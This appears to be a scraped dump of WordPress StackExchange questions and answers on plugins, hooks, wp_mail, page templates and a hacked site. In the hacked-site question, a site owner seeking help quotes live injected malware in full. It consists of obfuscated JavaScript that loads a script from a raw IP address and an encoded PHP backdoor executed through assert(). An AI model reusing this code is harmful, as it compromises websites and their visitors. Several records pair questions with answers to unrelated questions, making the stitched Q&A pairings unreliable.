<p>My question is, how are there new accounts if there are no new visitors? Are these bot accounts and that's why Google Analytics is not reporting them as visitors? I'm perplexed by the whole situation as this is my first attempt at a community site and I don't understand how there are so many new accounts, how people (if they're even people) are finding out about this site that I haven't advertised or promoted at all being in that it's far from finished, and add in the fact that according to Google Analytics there are no new visitors (or less visitors than new accounts created on some days). </p>
<p>Sorry for the run-on sentence but if anyone can help explain to me what is going on with this and what the motive is for whoever or whatever is creating these new accounts I would greatly appreciate it.</p>
<p>Thanks in advance.</p>
| [
{
"answer_id": 256001,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": -1,
"selected": false,
"text": "<p>I assume you mean to you want to stop the notifications?</p>\n\n<p>The simplest and easiest way is to change the version of the plugin which you don't want to update. For an example if I don't want my awesome plugin to get updated, I open it's definition file, which is like:</p>\n\n<pre><code>/*\n Plugin Name: simple light\n Plugin URI: http://www.example.com/\n Version: 1.1.1\n\n*/\n</code></pre>\n\n<p>Here in the Version change 1.1.1 to 9999 like:</p>\n\n<pre><code>/*\n Plugin Name: simple light\n Plugin URI: http://www.example.com/\n Version: 9999\n\n*/\n</code></pre>\n"
},
{
"answer_id": 256016,
"author": "rhinos",
"author_id": 112958,
"author_profile": "https://wordpress.stackexchange.com/users/112958",
"pm_score": 1,
"selected": false,
"text": "<p>If you manually modify a plugin, the only way to keep the changes is to never update the plugin. There is a possibility of creating a wordpress hook via the functions file, but it would depend on the plugin and it may not support this.</p>\n\n<p>Whenever you manually make changes to a plugin, you have two choices:</p>\n\n<p>1) Never update the plugin again, or<br>\n2) Make a list of your changes (possibly in a text file you keep on your computer) so that if you want to update the plugin then you can manually go in and re-do the changes.</p>\n"
},
{
"answer_id": 256028,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": true,
"text": "<p>Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.</p>\n\n<pre><code><?php\n/**\n * Plugin Name: Stackexchange Sample\n * Author: Nathan Johnson\n * Licence: GPL2+\n * Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html\n * Domain Path: /languages\n * Text Domain: stackexchange-sample\n */\n\n//* Don't access this file directly\ndefined( 'ABSPATH' ) or die();\n\nadd_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );\nfunction wpse_106269_enqueue_scripts() {\n $slb = SimpleLightbox::get_instance();\n wp_dequeue_script( 'simplelightbox-call');\n wp_deregister_script( 'simplelightbox-call' );\n\n wp_register_script( 'simplelightbox-edit',\n plugins_url( '/simplelightbox-edit.js', __FILE__ ),\n [ 'jquery', 'simplelightbox' ], false, true);\n wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );\n wp_enqueue_script( 'simplelightbox-edit' );\n}\n</code></pre>\n\n<p>EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script.</p>\n"
},
{
"answer_id": 256036,
"author": "Kenneth Odle",
"author_id": 111488,
"author_profile": "https://wordpress.stackexchange.com/users/111488",
"pm_score": 0,
"selected": false,
"text": "<p>You really want to avoid tweaking plugins, for all the reasons listed here. If you update, your changes are gone. If you don't update, you risk leaving your site open to security vulnerabilities.</p>\n\n<p>The problem here is in your plugin. \"Simple\" means, among other things, one lightbox display per page. You need to find a plugin which will allow you to have multiple lightbox displays on a page.</p>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256010",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112562/"
]
| I'm working on a Wordpress Multi-user site (Buddypress?). Every day, there are between 5-15 new accounts created, yet Google Analytics is reporting little-to-no traffic.
The site is far from finished, and I long ago disabled all content-creation features for non-administrators (because as soon as it went live people or bots started creating spam pages).
My question is, how are there new accounts if there are no new visitors? Are these bot accounts and that's why Google Analytics is not reporting them as visitors? I'm perplexed by the whole situation as this is my first attempt at a community site and I don't understand how there are so many new accounts, how people (if they're even people) are finding out about this site that I haven't advertised or promoted at all being in that it's far from finished, and add in the fact that according to Google Analytics there are no new visitors (or less visitors than new accounts created on some days).
Sorry for the run-on sentence but if anyone can help explain to me what is going on with this and what the motive is for whoever or whatever is creating these new accounts I would greatly appreciate it.
Thanks in advance. | Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.
```
<?php
/**
* Plugin Name: Stackexchange Sample
* Author: Nathan Johnson
* Licence: GPL2+
* Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html
* Domain Path: /languages
* Text Domain: stackexchange-sample
*/
//* Don't access this file directly
defined( 'ABSPATH' ) or die();
add_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );
function wpse_106269_enqueue_scripts() {
$slb = SimpleLightbox::get_instance();
wp_dequeue_script( 'simplelightbox-call');
wp_deregister_script( 'simplelightbox-call' );
wp_register_script( 'simplelightbox-edit',
plugins_url( '/simplelightbox-edit.js', __FILE__ ),
[ 'jquery', 'simplelightbox' ], false, true);
wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );
wp_enqueue_script( 'simplelightbox-edit' );
}
```
EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script. |
256,011 | <p>Is there an effective method to find a place where wordpress's hook is declared and when it's activated?</p>
<p>For example:<br>
I know that <code>get_header</code> hook is declared inside <code>wp-includes\general-template.php -- function get_header(...)</code>. When this function is called, the hook is activated.</p>
<p>In this case that was easy but the rest hooks are harder to localize e.g the hooks in admin dashboard.</p>
| [
{
"answer_id": 256017,
"author": "Viktor",
"author_id": 13351,
"author_profile": "https://wordpress.stackexchange.com/users/13351",
"pm_score": 0,
"selected": false,
"text": "<p>You can perform a search on <a href=\"https://developer.wordpress.org/reference\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference</a> for functions, hooks, etc. that you need. They will give you results to Codex pages.</p>\n\n<p><a href=\"https://i.stack.imgur.com/mURLZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mURLZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>Once you perform a search, each result will display the source file. This information can also be found on individual Codex pages for the functions. It will be towards the bottom under \"Source\" section.</p>\n"
},
{
"answer_id": 256030,
"author": "David Lee",
"author_id": 111965,
"author_profile": "https://wordpress.stackexchange.com/users/111965",
"pm_score": 2,
"selected": true,
"text": "<p><a href=\"http://adambrown.info/p/wp_hooks/hook\" rel=\"nofollow noreferrer\">Here in this page</a> its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.</p>\n\n<p>you can see a list of hooks and the functions attached to it using:</p>\n\n<pre><code>$hook_name = 'wp_head';\nglobal $wp_filter;\nvar_dump( $wp_filter[$hook_name] );\n</code></pre>\n\n<p>i am using 'wp_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as <code>$hook_name</code></p>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256011",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70809/"
]
| Is there an effective method to find a place where wordpress's hook is declared and when it's activated?
For example:
I know that `get_header` hook is declared inside `wp-includes\general-template.php -- function get_header(...)`. When this function is called, the hook is activated.
In this case that was easy but the rest hooks are harder to localize e.g the hooks in admin dashboard. | [Here in this page](http://adambrown.info/p/wp_hooks/hook) its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.
you can see a list of hooks and the functions attached to it using:
```
$hook_name = 'wp_head';
global $wp_filter;
var_dump( $wp_filter[$hook_name] );
```
i am using 'wp\_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as `$hook_name` |
256,031 | <p>We have a Directory website <a href="http://prntscr.com/e76vrf" rel="nofollow noreferrer">http://prntscr.com/e76vrf</a> running at LISTABLE Theme. </p>
<ol>
<li><p>Currently, when a User Signs Up and Upload the "Profile Photo", "Cover Photos" there is no provision to adjust the Photo and the wider photos cut off after saving them. So we want to add an image resizer/cropper which can let users to resize or crop the image. I tried to find a plugin this but I was not able to settle on any. Do you know of a code snippet/function or may be a plugin which can do this? Let me know how to integrate the code if it's a code solution. </p></li>
<li><p>Also, How I can dynamically fetch and show the total numbers of listings on the home page <a href="http://prntscr.com/e76u5i" rel="nofollow noreferrer">http://prntscr.com/e76u5i</a> </p></li>
</ol>
<p>Please advise with the most efficient solution. Thanks in advance!</p>
| [
{
"answer_id": 256017,
"author": "Viktor",
"author_id": 13351,
"author_profile": "https://wordpress.stackexchange.com/users/13351",
"pm_score": 0,
"selected": false,
"text": "<p>You can perform a search on <a href=\"https://developer.wordpress.org/reference\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference</a> for functions, hooks, etc. that you need. They will give you results to Codex pages.</p>\n\n<p><a href=\"https://i.stack.imgur.com/mURLZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mURLZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>Once you perform a search, each result will display the source file. This information can also be found on individual Codex pages for the functions. It will be towards the bottom under \"Source\" section.</p>\n"
},
{
"answer_id": 256030,
"author": "David Lee",
"author_id": 111965,
"author_profile": "https://wordpress.stackexchange.com/users/111965",
"pm_score": 2,
"selected": true,
"text": "<p><a href=\"http://adambrown.info/p/wp_hooks/hook\" rel=\"nofollow noreferrer\">Here in this page</a> its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.</p>\n\n<p>you can see a list of hooks and the functions attached to it using:</p>\n\n<pre><code>$hook_name = 'wp_head';\nglobal $wp_filter;\nvar_dump( $wp_filter[$hook_name] );\n</code></pre>\n\n<p>i am using 'wp_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as <code>$hook_name</code></p>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256031",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101240/"
]
| We have a Directory website <http://prntscr.com/e76vrf> running at LISTABLE Theme.
1. Currently, when a User Signs Up and Upload the "Profile Photo", "Cover Photos" there is no provision to adjust the Photo and the wider photos cut off after saving them. So we want to add an image resizer/cropper which can let users to resize or crop the image. I tried to find a plugin this but I was not able to settle on any. Do you know of a code snippet/function or may be a plugin which can do this? Let me know how to integrate the code if it's a code solution.
2. Also, How I can dynamically fetch and show the total numbers of listings on the home page <http://prntscr.com/e76u5i>
Please advise with the most efficient solution. Thanks in advance! | [Here in this page](http://adambrown.info/p/wp_hooks/hook) its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.
you can see a list of hooks and the functions attached to it using:
```
$hook_name = 'wp_head';
global $wp_filter;
var_dump( $wp_filter[$hook_name] );
```
i am using 'wp\_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as `$hook_name` |
256,039 | <p>So I have a localhost WordPress server, and the function wp_mail workd perfectly and sends. When I put the exact same file in an actual WordPress website as a theme, it only shows me a blank screen, and doesn't send anything. Code:</p>
<pre><code><?php
if (isset($_POST['submit'])) {
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$email = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$company = $_POST['company'];
$to = "[email protected]";
function wpse27856_set_content_type(){
return "text/html";
}
add_filter( 'wp_mail_content_type','wpse27856_set_content_type' );
$msg = '<html><body><h1>Contact Service</h1><table rules="all" style="border-color: #666;" cellpadding="10"><tr style="background: #E3E8EC;"><td><strong>First Name:</strong> </td><td>' . strip_tags($_POST['first_name']) . '</td></tr><tr><td><strong>Last Name:</strong> </td><td>' . strip_tags($_POST['last_name']) . '</td></tr><tr><td><strong>Email:</strong> </td><td>' . strip_tags($_POST['email']) . '</td></tr><tr><td><strong>Company:</strong> </td><td>' . strip_tags($_POST['company']) . '</td></tr><tr><td><strong>Message:</strong> </td><td>' . strip_tags($_POST['message']) . '</td></tr></body></html>';
wp_mail( $to, $subject, $msg );
?>
</code></pre>
<p>This is followed by a form where you input everything. Any help would be appreciated :)</p>
| [
{
"answer_id": 256017,
"author": "Viktor",
"author_id": 13351,
"author_profile": "https://wordpress.stackexchange.com/users/13351",
"pm_score": 0,
"selected": false,
"text": "<p>You can perform a search on <a href=\"https://developer.wordpress.org/reference\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference</a> for functions, hooks, etc. that you need. They will give you results to Codex pages.</p>\n\n<p><a href=\"https://i.stack.imgur.com/mURLZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mURLZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>Once you perform a search, each result will display the source file. This information can also be found on individual Codex pages for the functions. It will be towards the bottom under \"Source\" section.</p>\n"
},
{
"answer_id": 256030,
"author": "David Lee",
"author_id": 111965,
"author_profile": "https://wordpress.stackexchange.com/users/111965",
"pm_score": 2,
"selected": true,
"text": "<p><a href=\"http://adambrown.info/p/wp_hooks/hook\" rel=\"nofollow noreferrer\">Here in this page</a> its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.</p>\n\n<p>you can see a list of hooks and the functions attached to it using:</p>\n\n<pre><code>$hook_name = 'wp_head';\nglobal $wp_filter;\nvar_dump( $wp_filter[$hook_name] );\n</code></pre>\n\n<p>i am using 'wp_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as <code>$hook_name</code></p>\n"
}
]
| 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256039",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112811/"
]
| So I have a localhost WordPress server, and the function wp\_mail workd perfectly and sends. When I put the exact same file in an actual WordPress website as a theme, it only shows me a blank screen, and doesn't send anything. Code:
```
<?php
if (isset($_POST['submit'])) {
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$email = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$company = $_POST['company'];
$to = "[email protected]";
function wpse27856_set_content_type(){
return "text/html";
}
add_filter( 'wp_mail_content_type','wpse27856_set_content_type' );
$msg = '<html><body><h1>Contact Service</h1><table rules="all" style="border-color: #666;" cellpadding="10"><tr style="background: #E3E8EC;"><td><strong>First Name:</strong> </td><td>' . strip_tags($_POST['first_name']) . '</td></tr><tr><td><strong>Last Name:</strong> </td><td>' . strip_tags($_POST['last_name']) . '</td></tr><tr><td><strong>Email:</strong> </td><td>' . strip_tags($_POST['email']) . '</td></tr><tr><td><strong>Company:</strong> </td><td>' . strip_tags($_POST['company']) . '</td></tr><tr><td><strong>Message:</strong> </td><td>' . strip_tags($_POST['message']) . '</td></tr></body></html>';
wp_mail( $to, $subject, $msg );
?>
```
This is followed by a form where you input everything. Any help would be appreciated :) | [Here in this page](http://adambrown.info/p/wp_hooks/hook) its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.
you can see a list of hooks and the functions attached to it using:
```
$hook_name = 'wp_head';
global $wp_filter;
var_dump( $wp_filter[$hook_name] );
```
i am using 'wp\_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as `$hook_name` |
256,050 | <p>Today one of our clients' WordPress sites was hacked which is hosted with amazon aws ubuntu.</p>
<p>Issue is <a href="https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html" rel="nofollow noreferrer">https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html</a></p>
<p>The js code is injected in all js</p>
<pre><code>var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae85](_0xaae84[_0xaae83](_0xaae80)[_0xaae82]()[_0xaae81](_0xaae80))
</code></pre>
<p>and in <code>index.php</code></p>
<pre><code>//###====###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);
$strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTIlpz9lK3WypT9lqTyhMluSK0SZGPx7DTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvk0paIyXGgNMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFNzWvOyoKO0rFtxnJW2XFxtrlNxnJW2VQ0tWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqBlNtMJAbolNxnJW2B30tMJkmMJyzVPuyoKO0rFtxnJW2XFxtrjccMvNbp3Elp3ElXPEsH0IFIxIFJlWVISEDK0uCH1DvKFjtVwRlAl4jVvxcrlEhLJ1yVQ0tWS9GEIWJEIWoVyASHyMSHy9OEREFVy07sJIfp2I7WT5uoJHtCFNxK1ASHyMSHyfvFSEHHS9VG1AHVy07sDbxqKAypzRtCFOcp3AyqPtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cC3IloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cBvVvBjbxqKWfVQ0tVzu0qUN6Yl9vLKAbp2thpaHiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvHxIAG1ESK0SRESVvKFxhVvMxCFVhqKWfMJ5wo2EyXPEhLJ1yYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv4xqKAypzRhVvMcCGRznQ0vYz1xAFtvBQMxZGL3ZQH4LGyuLwN5LmWxAGMvZmL4MQZlMwOyZTHkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9QG05BEHAHIRyAEH9IIPjtAFx7VTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9HFH1SG1IHYPN1XGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWTyvqvN9VTA1pzksMKuyLltxL2tcBlEcozMiVQ0tL3IloS9aMKEcozMiXPEwnPx7nJLtXPEcozMiJlWbqUEjK2AiMTHvKFR9ZwNjXKfxnJW2CFVvB30XL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvtuMJ1jqUxbWS9DG1AHJlWjVy0cVPLzVT1xAFugMQHbWS9DG1AHJlWjVy0cXFN9CFNvZ2MvAQqvBTLmZmyvZmuzZ2VkLJR1BGEuMwD0AGN0ZTHvXFO7VROyqzSfXUA0pzyjp2kup2uypltxK1OCH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwfXsFO9"));'); $strings($light);
//###====###
</code></pre>
<p>Steps I follow:</p>
<ol>
<li>I download all js in local (using command zip -r js_files.zip
wp-content -i '*.js') and replace the malicious code using sublime
text and upload this.</li>
<li>delete the index.php malicious code.</li>
<li><p>block the ip address in .htaccess</p>
<pre><code>Order Deny,Allow
Deny from 134.249.116.78
</code></pre></li>
<li><p>Change the permission for the folder and files (using
<a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/hosting-wordpress.html" rel="nofollow noreferrer">http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/hosting-wordpress.html</a>)</p></li>
</ol>
<p><strong>My Question is:</strong></p>
<p>After doing all this, still the code is injected. How I find the back door of the hacker to the site. Please guide me.</p>
| [
{
"answer_id": 256073,
"author": "吉 宁",
"author_id": 105000,
"author_profile": "https://wordpress.stackexchange.com/users/105000",
"pm_score": 2,
"selected": false,
"text": "<p>The backdoor is most likely located in the theme's functions.php file.Look through it and you will find the answer I believe.</p>\n\n<p>WordPress core is so rarely compromised.This must be caused by a malicious theme.</p>\n"
},
{
"answer_id": 256081,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": false,
"text": "<p>With steps 1 and 2 you are only removing the symptoms of the infection, not the infection itself. Blockings access and changing permission (steps 3 and 4) makes a difference for outside approach of your system. But the infection is already inside your site. So, with these steps you do nothing to remove the infection.</p>\n\n<p>The infection can be anywhere: in your theme, some plugin, hidden in the database, in WordPress core, you name it. The most fool proof way to approach this is to wipe the site entirely and install a backup. Else, you'll have to <a href=\"https://codex.wordpress.org/FAQ_My_site_was_hacked\" rel=\"nofollow noreferrer\">go through a lengthy process</a>.</p>\n"
},
{
"answer_id": 256140,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>If you are looking for where the hack came from, you'll have to dig into your access logs. Not an easy thing.</p>\n\n<p>I'd do the following basic steps</p>\n\n<ul>\n<li>backup everything to local computer</li>\n<li>reinstall WP via the Dashboard/Update page</li>\n<li>reload all themes (either manually, or by deleting the theme and reinstalling). A manual download-to-local-computer, then upload to theme folder (perhaps after deleting the files in the theme folder) might keep all settings</li>\n<li>do the same for all plugins (manual or deactivate-delete-reinstall); again, the manual process might preserve plugin settings</li>\n<li>check for any extra files in all folders (updated files will have the same timestamp, so look for files outside the reinstall date/time). Delete any 'extra' files.</li>\n</ul>\n\n<p>There may be some damage in your database, so you could restore a backup copy of the database (you've made backups, right?).</p>\n\n<p>Some hosts will restore a complete site backup; they might keep several recent backups. This will destroy any updated content/etc, so you may want to reinstall WP and themes and plugins anyway. Some hosts might have a backup copy of the database they could install.</p>\n\n<p>Good luck.</p>\n\n<p><strong>Added</strong>\nThese are not all of the steps I use; my process is here: <a href=\"https://securitydawg.com/recovering-from-a-hacked-wordpress-site/\" rel=\"nofollow noreferrer\">https://securitydawg.com/recovering-from-a-hacked-wordpress-site/</a> . Even core files can be compromised - I've seen it on one site I'm still working on (multiple add-on domains, some WP, some not, which makes it harder).</p>\n"
}
]
| 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256050",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27932/"
]
| Today one of our clients' WordPress sites was hacked which is hosted with amazon aws ubuntu.
Issue is <https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html>
The js code is injected in all js
```
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae85](_0xaae84[_0xaae83](_0xaae80)[_0xaae82]()[_0xaae81](_0xaae80))
```
and in `index.php`
```
//###====###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);
$strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTIlpz9lK3WypT9lqTyhMluSK0SZGPx7DTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvk0paIyXGgNMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFNzWvOyoKO0rFtxnJW2XFxtrlNxnJW2VQ0tWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqBlNtMJAbolNxnJW2B30tMJkmMJyzVPuyoKO0rFtxnJW2XFxtrjccMvNbp3Elp3ElXPEsH0IFIxIFJlWVISEDK0uCH1DvKFjtVwRlAl4jVvxcrlEhLJ1yVQ0tWS9GEIWJEIWoVyASHyMSHy9OEREFVy07sJIfp2I7WT5uoJHtCFNxK1ASHyMSHyfvFSEHHS9VG1AHVy07sDbxqKAypzRtCFOcp3AyqPtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cC3IloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cBvVvBjbxqKWfVQ0tVzu0qUN6Yl9vLKAbp2thpaHiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvHxIAG1ESK0SRESVvKFxhVvMxCFVhqKWfMJ5wo2EyXPEhLJ1yYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv4xqKAypzRhVvMcCGRznQ0vYz1xAFtvBQMxZGL3ZQH4LGyuLwN5LmWxAGMvZmL4MQZlMwOyZTHkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9QG05BEHAHIRyAEH9IIPjtAFx7VTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9HFH1SG1IHYPN1XGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWTyvqvN9VTA1pzksMKuyLltxL2tcBlEcozMiVQ0tL3IloS9aMKEcozMiXPEwnPx7nJLtXPEcozMiJlWbqUEjK2AiMTHvKFR9ZwNjXKfxnJW2CFVvB30XL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvtuMJ1jqUxbWS9DG1AHJlWjVy0cVPLzVT1xAFugMQHbWS9DG1AHJlWjVy0cXFN9CFNvZ2MvAQqvBTLmZmyvZmuzZ2VkLJR1BGEuMwD0AGN0ZTHvXFO7VROyqzSfXUA0pzyjp2kup2uypltxK1OCH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwfXsFO9"));'); $strings($light);
//###====###
```
Steps I follow:
1. I download all js in local (using command zip -r js\_files.zip
wp-content -i '\*.js') and replace the malicious code using sublime
text and upload this.
2. delete the index.php malicious code.
3. block the ip address in .htaccess
```
Order Deny,Allow
Deny from 134.249.116.78
```
4. Change the permission for the folder and files (using
<http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/hosting-wordpress.html>)
**My Question is:**
After doing all this, still the code is injected. How I find the back door of the hacker to the site. Please guide me. | The backdoor is most likely located in the theme's functions.php file.Look through it and you will find the answer I believe.
WordPress core is so rarely compromised.This must be caused by a malicious theme. |
256,071 | <p>The answer to <a href="https://wordpress.stackexchange.com/questions/69506/hide-content-box-on-specific-pages-in-admin">this question</a> is working great but I want to exclude the editor also when other templates are used. Can you please tell me how to extend the code to make this work with more than one template?</p>
| [
{
"answer_id": 256075,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 4,
"selected": true,
"text": "<p>Yes, try this :</p>\n\n<pre><code>function remove_editor() {\n if (isset($_GET['post'])) {\n $id = $_GET['post'];\n $template = get_post_meta($id, '_wp_page_template', true);\n switch ($template) {\n case 'template_01.php':\n case 'template_02.php':\n case 'template_03.php':\n case 'template_04.php':\n // the below removes 'editor' support for 'pages'\n // if you want to remove for posts or custom post types as well\n // add this line for posts:\n // remove_post_type_support('post', 'editor');\n // add this line for custom post types and replace \n // custom-post-type-name with the name of post type:\n // remove_post_type_support('custom-post-type-name', 'editor');\n remove_post_type_support('page', 'editor');\n break;\n default :\n // Don't remove any other template.\n break;\n }\n }\n}\nadd_action('init', 'remove_editor');\n</code></pre>\n\n<p>Change the <code>'template_01.php' ... 'template_04.php'</code> with your template names and if you want you can add more template names by adding more cases. <br>\ne.g.</p>\n\n<pre><code>case 'template_05.php':\n</code></pre>\n\n<p><br>\nHowever, the above code and the code from the <a href=\"https://wordpress.stackexchange.com/a/115473/110206\">answer</a> requires you to first set the page templates from the page edit screen.\n<br>\nI hope this helps and clears how this works.</p>\n"
},
{
"answer_id": 356507,
"author": "Jankyz",
"author_id": 181155,
"author_profile": "https://wordpress.stackexchange.com/users/181155",
"pm_score": 0,
"selected": false,
